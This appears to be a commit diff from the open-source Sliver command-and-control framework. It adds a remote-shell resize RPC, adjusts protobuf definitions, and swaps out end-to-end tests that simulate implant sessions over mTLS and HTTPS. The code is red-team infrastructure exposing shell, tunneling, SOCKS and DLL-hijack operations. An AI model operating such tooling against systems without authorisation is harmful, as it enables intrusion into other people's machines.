218, // 337: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
219, // 338: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
220, // 339: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener
221, // 340: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners
220, // 341: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener
111, // 342: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
0, // 343: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
222, // 344: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
223, // 345: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
224, // 346: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
225, // 347: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension
226, // 348: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions
227, // 349: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension
228, // 350: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
228, // 351: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
229, // 352: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
229, // 353: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
230, // 354: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
231, // 355: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
232, // 356: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
0, // 357: rpcpb.SliverRPC.ShellResize:output_type -> commonpb.Empty
233, // 358: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
128, // 359: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
0, // 360: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
129, // 361: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
130, // 362: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
0, // 363: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
131, // 364: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
30, // 365: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
183, // [183:366] is the sub-list for method output_type
0, // [0:183] is the sub-list for method input_type
0, // [0:0] is the sub-list for extension type_name
0, // [0:0] is the sub-list for extension extendee
0, // [0:0] is the sub-list for field type_name
+1
View File
@@ -275,6 +275,7 @@ service SliverRPC {
// *** Realtime Commands ***
rpc Shell(sliverpb.ShellReq) returns (sliverpb.Shell);
rpc ShellResize(sliverpb.ShellResizeReq) returns (commonpb.Empty);
rpc Portfwd(sliverpb.PortfwdReq) returns (sliverpb.Portfwd);
// *** Socks5 ***
+36
View File
@@ -222,6 +222,7 @@ type SliverRPCClient interface {
WGListSocksServers(ctx context.Context, in *sliverpb.WGSocksServersReq, opts ...grpc.CallOption) (*sliverpb.WGSocksServers, error)
// *** Realtime Commands ***
Shell(ctx context.Context, in *sliverpb.ShellReq, opts ...grpc.CallOption) (*sliverpb.Shell, error)
ShellResize(ctx context.Context, in *sliverpb.ShellResizeReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
Portfwd(ctx context.Context, in *sliverpb.PortfwdReq, opts ...grpc.CallOption) (*sliverpb.Portfwd, error)
// *** Socks5 ***
CreateSocks(ctx context.Context, in *sliverpb.Socks, opts ...grpc.CallOption) (*sliverpb.Socks, error)
@@ -1880,6 +1881,15 @@ func (c *sliverRPCClient) Shell(ctx context.Context, in *sliverpb.ShellReq, opts
return out, nil
}
func (c *sliverRPCClient) ShellResize(ctx context.Context, in *sliverpb.ShellResizeReq, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ShellResize", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) Portfwd(ctx context.Context, in *sliverpb.PortfwdReq, opts ...grpc.CallOption) (*sliverpb.Portfwd, error) {
out := new(sliverpb.Portfwd)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Portfwd", in, out, opts...)
@@ -2224,6 +2234,7 @@ type SliverRPCServer interface {
WGListSocksServers(context.Context, *sliverpb.WGSocksServersReq) (*sliverpb.WGSocksServers, error)
// *** Realtime Commands ***
Shell(context.Context, *sliverpb.ShellReq) (*sliverpb.Shell, error)
ShellResize(context.Context, *sliverpb.ShellResizeReq) (*commonpb.Empty, error)
Portfwd(context.Context, *sliverpb.PortfwdReq) (*sliverpb.Portfwd, error)
// *** Socks5 ***
CreateSocks(context.Context, *sliverpb.Socks) (*sliverpb.Socks, error)
@@ -2764,6 +2775,9 @@ func (UnimplementedSliverRPCServer) WGListSocksServers(context.Context, *sliverp
func (UnimplementedSliverRPCServer) Shell(context.Context, *sliverpb.ShellReq) (*sliverpb.Shell, error) {
return nil, status.Errorf(codes.Unimplemented, "method Shell not implemented")
}
func (UnimplementedSliverRPCServer) ShellResize(context.Context, *sliverpb.ShellResizeReq) (*commonpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method ShellResize not implemented")
}
func (UnimplementedSliverRPCServer) Portfwd(context.Context, *sliverpb.PortfwdReq) (*sliverpb.Portfwd, error) {
return nil, status.Errorf(codes.Unimplemented, "method Portfwd not implemented")
}
@@ -5947,6 +5961,24 @@ func _SliverRPC_Shell_Handler(srv interface{}, ctx context.Context, dec func(int
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_ShellResize_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.ShellResizeReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).ShellResize(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/ShellResize",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).ShellResize(ctx, req.(*sliverpb.ShellResizeReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_Portfwd_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.PortfwdReq)
if err := dec(in); err != nil {
@@ -6801,6 +6833,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "Shell",
Handler: _SliverRPC_Shell_Handler,
},
{
MethodName: "ShellResize",
Handler: _SliverRPC_ShellResize_Handler,
},
{
MethodName: "Portfwd",
Handler: _SliverRPC_Portfwd_Handler,
+5
View File
@@ -352,6 +352,9 @@ const (
// MsgMountReq - Request filesystem mounts
MsgMountReq
// MsgShellResizeReq - Resize a shell PTY
MsgShellResizeReq
)
// Constants to replace enums
@@ -413,6 +416,8 @@ func MsgNumber(request proto.Message) uint32 {
return MsgShellReq
case *Shell:
return MsgShell
case *ShellResizeReq:
return MsgShellResizeReq
case *ProcessDumpReq:
return MsgProcessDumpReq
case *ProcessDump:
File diff suppressed because it is too large. Load diff
+11 -1
View File
@@ -825,6 +825,8 @@ message ShellReq {
string Path = 1;
bool EnablePTY = 2;
uint32 Pid = 3;
uint32 Rows = 4;
uint32 Cols = 5;
uint64 TunnelID = 8 [jstype = JS_STRING]; // Bind to this tunnel
commonpb.Request Request = 9;
@@ -840,6 +842,14 @@ message Shell {
commonpb.Response Response = 9;
}
message ShellResizeReq {
uint32 Rows = 1;
uint32 Cols = 2;
uint64 TunnelID = 8 [jstype = JS_STRING];
commonpb.Request Request = 9;
}
message PortfwdReq {
uint32 Port = 1;
@@ -1356,4 +1366,4 @@ message StartServiceByNameReq {
ServiceInfoReq ServiceInfo = 1;
commonpb.Request Request = 9;
}
}
+1 -1
View File
@@ -31,7 +31,7 @@ Server daemon responsible for managing operators, implants, and infrastructure.
- `msf/` – Metasploit integration utilities. Implements payload translation and RPC bridging with Metasploit.
- `netstack/` – gVisor-based userland network stack for server transports. Provides packet buffers, endpoint management, and adapters.
- `rpc/` – RPC server implementations and wiring. Boots gRPC servers, registers services, and manages middleware.
- `sgn/` – SGN (Sliver Guard Node) coordination and helpers. Implements SGN enrollment, messaging, and policy logic.
- `encoders/shellcode/sgn/` – SGN (Shikata Ga Nai) shellcode encoder helpers and configuration wiring.
- `transport/` – Server-side transports and listener orchestration. Coordinates C2 listener lifecycles and connection routing.
- `watchtower/` – Watchtower monitoring and background jobs. Runs scheduled tasks, telemetry collection, and alerting hooks.
- `website/` – Static website assets and server-side handling. Serves operator web artifacts and supporting handlers.
+1 -1
View File
@@ -120,7 +120,7 @@ func Setup(force bool, echo bool) {
setupLog.Infof("Version mismatch %v != %v", localVer, ver.GitCommit)
if echo {
fmt.Printf(`
Sliver Copyright (C) 2025 Bishop Fox
Sliver Copyright (C) 2026 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
+82
View File
@@ -0,0 +1,82 @@
package c2
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"crypto/sha256"
"encoding/hex"
"os"
"testing"
implantCrypto "github.com/bishopfox/sliver/implant/sliver/cryptography"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/db/models"
)
var (
serverAgeKeyPair *cryptography.AgeKeyPair
)
func TestMain(m *testing.M) {
implantConfig := setup()
code1 := m.Run()
cleanup(implantConfig)
os.Exit(code1)
}
func setup() *models.ImplantConfig {
var err error
certs.SetupCAs()
serverAgeKeyPair = cryptography.AgeServerKeyPair()
peerAgeKeyPair, _ := cryptography.RandomAgeKeyPair()
implantCrypto.SetSecrets(
peerAgeKeyPair.Public,
peerAgeKeyPair.Private,
"",
serverAgeKeyPair.Public,
cryptography.MinisignServerPublicKey(),
)
digest := sha256.New()
digest.Write([]byte(peerAgeKeyPair.Public))
publicKeyDigest := hex.EncodeToString(digest.Sum(nil))
implantBuild := &models.ImplantBuild{
PeerPublicKey: peerAgeKeyPair.Public,
PeerPublicKeyDigest: publicKeyDigest,
PeerPrivateKey: peerAgeKeyPair.Private,
AgeServerPublicKey: serverAgeKeyPair.Public,
}
err = db.Session().Create(implantBuild).Error
if err != nil {
panic(err)
}
implantConfig := &models.ImplantConfig{
ImplantBuilds: []models.ImplantBuild{*implantBuild},
}
return implantConfig
}
func cleanup(implantConfig *models.ImplantConfig) {
db.Session().Delete(implantConfig)
}
-9
View File
@@ -1,9 +0,0 @@
//go:build !windows
package c2_test
import implantHandlers "github.com/bishopfox/sliver/implant/sliver/handlers"
func dispatchHandler(handler implantHandlers.RPCHandler, data []byte, resp implantHandlers.RPCResponse) {
handler(data, resp)
}
-151
View File
@@ -1,151 +0,0 @@
package c2_test
/*
Sliver Implant Framework
Copyright (C) 2025 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"crypto/sha256"
"encoding/hex"
"errors"
"os"
"runtime"
"testing"
"time"
implantCrypto "github.com/bishopfox/sliver/implant/sliver/cryptography"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/db/models"
)
var (
serverAgeKeyPair *cryptography.AgeKeyPair
peerAgeKeyPair *cryptography.AgeKeyPair
testImplantConfig *models.ImplantConfig
testImplantBuild *models.ImplantBuild
mtlsCACertPEM string
mtlsCertPEM string
mtlsKeyPEM string
)
const (
defaultHTTPC2ConfigName = "default"
testImplantCertName = "test-implant"
)
func TestMain(m *testing.M) {
setup()
code := m.Run()
cleanup()
os.Exit(code)
}
func setup() {
var err error
certs.SetupCAs()
serverAgeKeyPair = cryptography.AgeServerKeyPair()
peerAgeKeyPair, err = cryptography.RandomAgeKeyPair()
if err != nil {
panic(err)
}
implantCrypto.SetSecrets(
peerAgeKeyPair.Public,
peerAgeKeyPair.Private,
cryptography.MinisignServerSign([]byte(peerAgeKeyPair.Public)),
serverAgeKeyPair.Public,
cryptography.MinisignServerPublicKey(),
)
httpConfig, err := db.LoadHTTPC2ConfigByName(defaultHTTPC2ConfigName)
if err != nil && !errors.Is(err, db.ErrRecordNotFound) {
panic(err)
}
if httpConfig == nil || httpConfig.ServerConfig == nil || len(httpConfig.ServerConfig.Cookies) == 0 {
defaultConfig := configs.GenerateDefaultHTTPC2Config()
if err := db.SaveHTTPC2Config(defaultConfig); err != nil {
panic(err)
}
}
caPEM, _, err := certs.GetCertificateAuthorityPEM(certs.MtlsServerCA)
if err != nil {
panic(err)
}
mtlsCACertPEM = string(caPEM)
_, _, err = certs.GetECCCertificate(certs.MtlsServerCA, "localhost")
if errors.Is(err, certs.ErrCertDoesNotExist) {
_, _, err = certs.MtlsC2ServerGenerateECCCertificate("localhost")
}
if err != nil {
panic(err)
}
certPEM, keyPEM, err := certs.GetECCCertificate(certs.MtlsImplantCA, testImplantCertName)
if errors.Is(err, certs.ErrCertDoesNotExist) {
certPEM, keyPEM, err = certs.MtlsC2ImplantGenerateECCCertificate(testImplantCertName)
}
if err != nil {
panic(err)
}
mtlsCertPEM = string(certPEM)
mtlsKeyPEM = string(keyPEM)
testImplantConfig = &models.ImplantConfig{
GOOS: runtime.GOOS,
GOARCH: runtime.GOARCH,
IncludeHTTP: true,
IncludeMTLS: true,
HttpC2ConfigName: defaultHTTPC2ConfigName,
ConnectionStrategy: "s",
}
if err := db.Session().Create(testImplantConfig).Error; err != nil {
panic(err)
}
digest := sha256.Sum256([]byte(peerAgeKeyPair.Public))
testImplantBuild = &models.ImplantBuild{
Name: "e2e-test-" + time.Now().Format("20060102150405.000000000"),
ImplantConfigID: testImplantConfig.ID,
PeerPublicKey: peerAgeKeyPair.Public,
PeerPublicKeyDigest: hex.EncodeToString(digest[:]),
PeerPrivateKey: peerAgeKeyPair.Private,
PeerPublicKeySignature: cryptography.MinisignServerSign([]byte(peerAgeKeyPair.Public)),
AgeServerPublicKey: serverAgeKeyPair.Public,
MinisignServerPublicKey: cryptography.MinisignServerPublicKey(),
MtlsCACert: mtlsCACertPEM,
MtlsCert: mtlsCertPEM,
MtlsKey: mtlsKeyPEM,
}
if err := db.Session().Create(testImplantBuild).Error; err != nil {
panic(err)
}
}
func cleanup() {
if testImplantBuild != nil {
db.Session().Delete(testImplantBuild)
}
if testImplantConfig != nil {
db.Session().Delete(testImplantConfig)
}
}
-591
View File
@@ -1,591 +0,0 @@
package c2_test
/*
Sliver Implant Framework
Copyright (C) 2025 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"crypto/tls"
"crypto/x509"
"fmt"
"io"
"net"
"net/http"
"net/http/cookiejar"
"net/http/httptest"
"net/url"
"os"
"path/filepath"
"runtime"
"sync"
"testing"
"time"
consts "github.com/bishopfox/sliver/client/constants"
implantCrypto "github.com/bishopfox/sliver/implant/sliver/cryptography"
implantHandlers "github.com/bishopfox/sliver/implant/sliver/handlers"
implantTransports "github.com/bishopfox/sliver/implant/sliver/transports"
implantHTTP "github.com/bishopfox/sliver/implant/sliver/transports/httpclient"
implantMTLS "github.com/bishopfox/sliver/implant/sliver/transports/mtls"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
c2 "github.com/bishopfox/sliver/server/c2"
"github.com/bishopfox/sliver/server/core"
serverTransport "github.com/bishopfox/sliver/server/transport"
"github.com/gofrs/uuid"
"google.golang.org/grpc"
"google.golang.org/grpc/credentials/insecure"
"google.golang.org/protobuf/proto"
)
const (
sessionWaitTimeout = 10 * time.Second
requestTimeout = 10 * time.Second
testMTLSServerHost = "localhost"
testHTTPOrigin = "https://sliver.test"
)
func TestE2EMTLSInfoAndLs(t *testing.T) {
clearSessions()
implantMTLS.SetTestCertificates(mtlsCACertPEM, mtlsCertPEM, mtlsKeyPEM)
serverTLS, clientTLS, cleanup := newMTLSConnPair(t)
defer cleanup()
go c2.HandleSliverConnectionForTest(serverTLS)
register := newRegister(t, fmt.Sprintf("e2e-mtls-%d", time.Now().UnixNano()), "mtls://"+testMTLSServerHost)
conn := newMTLSConnection(t, clientTLS)
stopImplant := startImplantSession(t, conn, register)
defer stopImplant()
session := waitForSession(t, register.Name)
defer session.Connection.Cleanup()
rpcClient, rpcCleanup := newGRPCClient(t)
defer rpcCleanup()
assertSessionInfo(t, session, register, consts.MtlsStr)
assertLsRoundTrip(t, rpcClient, session.ID)
}
func TestE2EHTTPSInfoAndLs(t *testing.T) {
clearSessions()
server := newHTTPTestServer(t)
conn := newHTTPConnection(t, server.HTTPServer.Handler, testHTTPOrigin)
register := newRegister(t, fmt.Sprintf("e2e-https-%d", time.Now().UnixNano()), testHTTPOrigin)
stopImplant := startImplantSession(t, conn, register)
defer stopImplant()
session := waitForSession(t, register.Name)
defer session.Connection.Cleanup()
rpcClient, rpcCleanup := newGRPCClient(t)
defer rpcCleanup()
assertSessionInfo(t, session, register, "http(s)")
assertLsRoundTrip(t, rpcClient, session.ID)
}
func newMTLSConnPair(t *testing.T) (*tls.Conn, *tls.Conn, func()) {
t.Helper()
serverConfig := c2.TestServerTLSConfig(testMTLSServerHost)
if serverConfig == nil {
t.Fatalf("mtls server tls config missing")
}
clientConfig := testMTLSClientConfig(t)
serverRaw, clientRaw := net.Pipe()
serverTLS := tls.Server(serverRaw, serverConfig)
clientTLS := tls.Client(clientRaw, clientConfig)
errCh := make(chan error, 2)
go func() {
errCh <- serverTLS.Handshake()
}()
go func() {
errCh <- clientTLS.Handshake()
}()
for range 2 {
if err := <-errCh; err != nil {
serverTLS.Close()
clientTLS.Close()
t.Fatalf("mtls handshake failed: %v", err)
}
}
cleanup := func() {
_ = serverTLS.Close()
_ = clientTLS.Close()
}
return serverTLS, clientTLS, cleanup
}
func testMTLSClientConfig(t *testing.T) *tls.Config {
t.Helper()
cert, err := tls.X509KeyPair([]byte(mtlsCertPEM), []byte(mtlsKeyPEM))
if err != nil {
t.Fatalf("mtls client cert parse: %v", err)
}
return &tls.Config{
Certificates: []tls.Certificate{cert},
InsecureSkipVerify: true,
VerifyPeerCertificate: func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {
return implantCrypto.RootOnlyVerifyCertificate(mtlsCACertPEM, rawCerts, verifiedChains)
},
}
}
func newMTLSConnection(t *testing.T, conn *tls.Conn) *implantTransports.Connection {
t.Helper()
send := make(chan *sliverpb.Envelope)
recv := make(chan *sliverpb.Envelope)
done := make(chan struct{})
var once sync.Once
var wg sync.WaitGroup
start := func() error {
wg.Add(2)
go func() {
defer wg.Done()
for {
select {
case <-done:
return
case envelope, ok := <-send:
if !ok {
return
}
if err := implantMTLS.WriteEnvelope(conn, envelope); err != nil {
return
}
case <-time.After(implantMTLS.PingInterval):
_ = implantMTLS.WritePing(conn)
}
}
}()
go func() {
defer wg.Done()
for {
select {
case <-done:
return
default:
envelope, err := implantMTLS.ReadEnvelope(conn)
if err != nil {
return
}
if envelope == nil {
continue
}
select {
case recv <- envelope:
case <-done:
return
}
}
}
}()
return nil
}
stop := func() error {
once.Do(func() {
close(done)
close(send)
_ = conn.Close()
})
wg.Wait()
close(recv)
return nil
}
return &implantTransports.Connection{
Send: send,
Recv: recv,
Start: start,
Stop: stop,
}
}
func newHTTPTestServer(t *testing.T) *c2.SliverHTTPC2 {
t.Helper()
req := &clientpb.HTTPListenerReq{
Host: "sliver.test",
Port: 443,
Secure: true,
Domain: "sliver.test",
}
server, err := c2.StartHTTPListener(req)
if err != nil {
t.Fatalf("start https listener: %v", err)
}
return server
}
type inMemoryHTTPDriver struct {
handler http.Handler
jar http.CookieJar
baseURL *url.URL
remoteAddr string
}
func newInMemoryHTTPDriver(t *testing.T, handler http.Handler, baseURL *url.URL) *inMemoryHTTPDriver {
t.Helper()
jar, err := cookiejar.New(nil)
if err != nil {
t.Fatalf("cookie jar: %v", err)
}
return &inMemoryHTTPDriver{
handler: handler,
jar: jar,
baseURL: baseURL,
remoteAddr: "127.0.0.1:12345",
}
}
func (d *inMemoryHTTPDriver) Do(req *http.Request) (*http.Response, error) {
if req.URL.Scheme == "" {
req.URL.Scheme = d.baseURL.Scheme
}
if req.URL.Host == "" {
req.URL.Host = d.baseURL.Host
}
if req.Host == "" {
req.Host = req.URL.Host
}
if req.RemoteAddr == "" {
req.RemoteAddr = d.remoteAddr
}
if req.TLS == nil && req.URL.Scheme == "https" {
req.TLS = &tls.ConnectionState{}
}
if req.RequestURI == "" {
req.RequestURI = req.URL.RequestURI()
}
for _, cookie := range d.jar.Cookies(req.URL) {
req.AddCookie(cookie)
}
rr := httptest.NewRecorder()
d.handler.ServeHTTP(rr, req)
resp := rr.Result()
d.jar.SetCookies(req.URL, resp.Cookies())
return resp, nil
}
func newHTTPConnection(t *testing.T, handler http.Handler, origin string) *implantTransports.Connection {
t.Helper()
baseURL, err := url.Parse(origin)
if err != nil {
t.Fatalf("parse origin: %v", err)
}
driver := newInMemoryHTTPDriver(t, handler, baseURL)
opts := implantHTTP.ParseHTTPOptions(baseURL)
opts.NetTimeout = 5 * time.Second
opts.PollTimeout = 2 * time.Second
opts.MaxErrors = 3
client := implantHTTP.NewSliverHTTPClient(origin, driver, opts)
client.PathPrefix = baseURL.Path
if err := client.SessionInit(); err != nil {
t.Fatalf("http session init: %v", err)
}
send := make(chan *sliverpb.Envelope)
recv := make(chan *sliverpb.Envelope)
done := make(chan struct{})
var once sync.Once
var wg sync.WaitGroup
start := func() error {
wg.Add(2)
go func() {
defer wg.Done()
for {
select {
case <-done:
return
case envelope, ok := <-send:
if !ok {
return
}
if err := client.WriteEnvelope(envelope); err != nil {
return
}
}
}
}()
go func() {
defer wg.Done()
for {
select {
case <-done:
return
default:
envelope, err := client.ReadEnvelope()
if err == io.EOF {
return
}
if err != nil {
return
}
if envelope == nil {
continue
}
select {
case recv <- envelope:
case <-done:
return
}
}
}
}()
return nil
}
stop := func() error {
once.Do(func() {
close(done)
close(send)
_ = client.CloseSession()
})
wg.Wait()
close(recv)
return nil
}
return &implantTransports.Connection{
Send: send,
Recv: recv,
Start: start,
Stop: stop,
}
}
func newGRPCClient(t *testing.T) (rpcpb.SliverRPCClient, func()) {
t.Helper()
grpcServer, ln, err := serverTransport.LocalListener()
if err != nil {
t.Fatalf("grpc listener: %v", err)
}
ctx := context.Background()
conn, err := grpc.DialContext(
ctx,
"bufnet",
grpc.WithContextDialer(func(ctx context.Context, _ string) (net.Conn, error) {
return ln.Dial()
}),
grpc.WithTransportCredentials(insecure.NewCredentials()),
)
if err != nil {
grpcServer.Stop()
_ = ln.Close()
t.Fatalf("grpc dial: %v", err)
}
cleanup := func() {
_ = conn.Close()
grpcServer.Stop()
_ = ln.Close()
}
return rpcpb.NewSliverRPCClient(conn), cleanup
}
func startImplantSession(t *testing.T, conn *implantTransports.Connection, register *sliverpb.Register) func() {
t.Helper()
if err := conn.Start(); err != nil {
t.Fatalf("start implant connection: %v", err)
}
ctx, cancel := context.WithCancel(context.Background())
done := make(chan error, 1)
go func() {
done <- runImplantSession(ctx, conn, register)
}()
return func() {
cancel()
select {
case err := <-done:
if err != nil {
t.Fatalf("implant session error: %v", err)
}
case <-time.After(5 * time.Second):
t.Fatalf("implant session did not stop")
}
_ = conn.Stop()
}
}
func runImplantSession(ctx context.Context, conn *implantTransports.Connection, register *sliverpb.Register) error {
if conn == nil {
return fmt.Errorf("nil implant connection")
}
regData, err := proto.Marshal(register)
if err != nil {
return err
}
conn.Send <- &sliverpb.Envelope{Type: sliverpb.MsgRegister, Data: regData}
sysHandlers := implantHandlers.GetSystemHandlers()
killHandlers := implantHandlers.GetKillHandlers()
for {
select {
case <-ctx.Done():
return nil
case envelope, ok := <-conn.Recv:
if !ok {
return nil
}
if _, ok := killHandlers[envelope.Type]; ok {
return nil
}
if handler, ok := sysHandlers[envelope.Type]; ok {
envelopeID := envelope.ID
dispatchHandler(handler, envelope.Data, func(data []byte, err error) {
conn.Send <- &sliverpb.Envelope{ID: envelopeID, Data: data}
})
continue
}
conn.Send <- &sliverpb.Envelope{ID: envelope.ID, UnknownMessageType: true}
}
}
}
func newRegister(t *testing.T, name string, activeC2 string) *sliverpb.Register {
t.Helper()
host, _ := os.Hostname()
id, _ := uuid.NewV4()
return &sliverpb.Register{
Name: name,
Hostname: host,
Uuid: id.String(),
Username: "sliver-test",
Uid: "1000",
Gid: "1000",
Os: runtime.GOOS,
Version: "test",
Arch: runtime.GOARCH,
Pid: int32(os.Getpid()),
Filename: "sliver-test",
ActiveC2: activeC2,
ReconnectInterval: int64(time.Second),
Locale: "en-US",
}
}
func waitForSession(t *testing.T, name string) *core.Session {
t.Helper()
deadline := time.Now().Add(sessionWaitTimeout)
for time.Now().Before(deadline) {
for _, session := range core.Sessions.All() {
if session.Name == name {
return session
}
}
time.Sleep(50 * time.Millisecond)
}
t.Fatalf("session %q not registered", name)
return nil
}
func clearSessions() {
for _, session := range core.Sessions.All() {
core.Sessions.Remove(session.ID)
}
}
func assertSessionInfo(t *testing.T, session *core.Session, register *sliverpb.Register, transport string) {
t.Helper()
if session.Name != register.Name {
t.Fatalf("session name mismatch: got %q want %q", session.Name, register.Name)
}
if session.Hostname != register.Hostname {
t.Fatalf("session hostname mismatch: got %q want %q", session.Hostname, register.Hostname)
}
if session.Username != register.Username {
t.Fatalf("session username mismatch: got %q want %q", session.Username, register.Username)
}
if session.OS != register.Os {
t.Fatalf("session os mismatch: got %q want %q", session.OS, register.Os)
}
if session.Arch != register.Arch {
t.Fatalf("session arch mismatch: got %q want %q", session.Arch, register.Arch)
}
if session.ActiveC2 != register.ActiveC2 {
t.Fatalf("session active c2 mismatch: got %q want %q", session.ActiveC2, register.ActiveC2)
}
if session.Connection == nil {
t.Fatalf("session connection missing")
}
if session.Connection.Transport != transport {
t.Fatalf("session transport mismatch: got %q want %q", session.Connection.Transport, transport)
}
if session.Connection.RemoteAddress == "" {
t.Fatalf("session remote address not set")
}
}
func assertLsRoundTrip(t *testing.T, rpcClient rpcpb.SliverRPCClient, sessionID string) {
t.Helper()
tmpDir := t.TempDir()
fileName := "sliver-test.txt"
filePath := filepath.Join(tmpDir, fileName)
if err := os.WriteFile(filePath, []byte("hello"), 0600); err != nil {
t.Fatalf("write temp file: %v", err)
}
ctx, cancel := context.WithTimeout(context.Background(), requestTimeout)
defer cancel()
resp, err := rpcClient.Ls(ctx, &sliverpb.LsReq{
Path: tmpDir,
Request: &commonpb.Request{
SessionID: sessionID,
Timeout: int64(requestTimeout),
},
})
if err != nil {
t.Fatalf("ls request failed: %v", err)
}
if !resp.Exists {
t.Fatalf("ls response marked as non-existent: %v", resp.GetResponse())
}
for _, entry := range resp.Files {
if entry.Name == fileName {
return
}
}
t.Fatalf("ls response missing %q", fileName)
}
-9
View File
@@ -1,9 +0,0 @@
//go:build windows
package c2_test
import implantHandlers "github.com/bishopfox/sliver/implant/sliver/handlers"
func dispatchHandler(handler implantHandlers.RPCHandler, data []byte, resp implantHandlers.RPCResponse) {
implantHandlers.WrapperHandler(handler, data, resp)
}
-34
View File
@@ -1,34 +0,0 @@
package c2
/*
Sliver Implant Framework
Copyright (C) 2025 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"crypto/tls"
"net"
)
// TestServerTLSConfig exposes the server TLS config for tests.
func TestServerTLSConfig(host string) *tls.Config {
return getServerTLSConfig(host)
}
// HandleSliverConnectionForTest exposes the mTLS connection handler for tests.
func HandleSliverConnectionForTest(conn net.Conn) {
handleSliverConnection(conn)
}
-6
View File
@@ -185,7 +185,6 @@ type ServerConfig struct {
Watchtower *WatchTowerConfig `json:"watch_tower" yaml:"watch_tower"`
